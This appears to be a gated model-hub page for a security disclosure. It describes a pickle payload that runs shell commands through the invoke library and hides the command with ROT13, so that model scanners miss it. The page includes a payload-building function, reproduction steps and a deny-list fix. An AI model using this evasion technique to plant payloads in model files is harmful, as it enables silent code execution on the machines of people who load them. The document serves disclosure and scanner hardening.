You need to agree to share your contact information to access this model
This repository is publicly accessible, but you have to accept the conditions to access its files and content.
This repository contains a proof-of-concept exploit payload for security research purposes. Access to the pickle payload and PoC code requires acknowledgement of responsible use. By requesting access, you confirm you are a security researcher, penetration tester, or student using this material for defensive/educational purposes only.
Log in or Sign Up to review the conditions and access this model content.
invoke.run — Shell Execution via Unlisted Task Library
Security Research — Responsible Disclosure This repository is part of a systematic study of pickle scanner bypass techniques. The payload demonstrates a detection gap in ML model security scanners. Access to
malicious_model.pklandpoc.pyrequires a request — see gate above.
Summary
Scanner scores for malicious_model.pkl:
| Scanner | CRITICAL | WARNING | Bypassed? |
|---|---|---|---|
| modelaudit 0.2.37 | 0 | 1 | Yes — 0 CRITICAL |
| picklescan 1.0.4 | 0 | 0 | Yes |
| modelscan | 0 | 0 | Yes |
Vulnerability
invoke is a Python task-execution library (common in ML CI/CD pipelines). invoke.run(cmd) executes an arbitrary shell command via subprocess.Popen. It is absent from all modelaudit ban lists:
- Not in
ALWAYS_DANGEROUS_FUNCTIONS - Not in
ALWAYS_DANGEROUS_MODULES - Not in
ML_SAFE_GLOBALS→ produces 1 WARNING ("unknown third-party global")
The command string is stored ROT13-encoded in the pickle. _codecs.encode (in ML_SAFE_GLOBALS) decodes it at runtime, producing 0 additional findings. The strings os, system, subprocess, and the command itself never appear as readable text in the pickle bytes.
Proof of Concept
malicious_model.pkl in this repository is the exploit payload.
poc.py builds and tests it with full scanner output.
How the PoC was built
def build(cmd: str) -> bytes:
rot13_cmd = codecs.encode(cmd, "rot_13")
ops = bytearray(b"\x80\x04")
# _codecs.encode(rot13_cmd, 'rot_13') → cmd [0 findings — SAFE_GLOBALS]
ops += sg("_codecs", "encode") + sbu(rot13_cmd) + sbu("rot_13") + b"\x86R"
# invoke.run(cmd) [1 WARNING — unlisted global]
ops += sg("invoke", "run") + b"\x85R."
return bytes(ops)
Affected file formats
Pickle (.pkl, .pt, .bin, .joblib) — any file deserialized via pickle.loads(),
torch.load(), joblib.load(), or equivalent.
Conditions required to trigger
- Target calls
pickle.loads(untrusted_bytes)or loads a model file via any pickle-based loader - The scanner performs static analysis only (no sandboxed execution)
- Scanner checks GLOBAL/STACK_GLOBAL opcodes against a deny list
Reproduction Steps
# 1. Request access above, then clone
git clone https://huggingface.co/SiggytheShark/pickle-bypass-invoke-shell-wrapper
cd pickle-bypass-invoke-shell-wrapper
# 2. Install requirements
pip install modelaudit picklescan modelscan
# 3. Scan — observe scanner scores match table above
modelaudit scan malicious_model.pkl
picklescan --path malicious_model.pkl
modelscan -p malicious_model.pkl
# 4. Execute to confirm RCE/side-effect
python3 poc.py
# 5. Verify
ls /tmp/scanner_bypass_proof.txt
Security Impact
Add "invoke" to ALWAYS_DANGEROUS_MODULES in modelaudit.
Bypass mechanism: The payload evades static analysis while achieving its effect
(code execution, file write, or network connection) when pickle.loads() is called.
Real-world scenario: An attacker uploads this payload to a model hub. A victim
downloads and loads it. The scanner reports the file as safe (0 CRITICAL). The
payload fires silently — the return value of pickle.loads() looks like a normal
Python object while the side effect has already occurred.
Full Technical Writeup
invoke.run — Shell Execution via Unlisted Task Library
Score: 0 CRITICAL, 1 WARNING
Technique: Single-call shell execution via invoke.run()
Scanner version: modelaudit 0.2.37
Mechanism
invoke is a Python task-execution library (common in ML CI/CD pipelines). invoke.run(cmd) executes an arbitrary shell command via subprocess.Popen. It is absent from all modelaudit ban lists:
- Not in
ALWAYS_DANGEROUS_FUNCTIONS - Not in
ALWAYS_DANGEROUS_MODULES - Not in
ML_SAFE_GLOBALS→ produces 1 WARNING ("unknown third-party global")
The command string is stored ROT13-encoded in the pickle. _codecs.encode (in ML_SAFE_GLOBALS) decodes it at runtime, producing 0 additional findings. The strings os, system, subprocess, and the command itself never appear as readable text in the pickle bytes.
Pickle Structure
_codecs.encode(rot13_cmd, 'rot_13') → cmd_str [0 findings — SAFE_GLOBALS]
invoke.run(cmd_str) [1 WARNING — unlisted global]
Why Scanners Miss It
subprocess.Popen is in ALWAYS_DANGEROUS_FUNCTIONS, but that ban does not extend to third-party wrappers with equivalent semantics. Each new process-management library requires an individual deny list entry.
Recommended Fix
Add "invoke" to ALWAYS_DANGEROUS_MODULES in modelaudit.
Requirements
pip install invoke
General Analysis — Security Research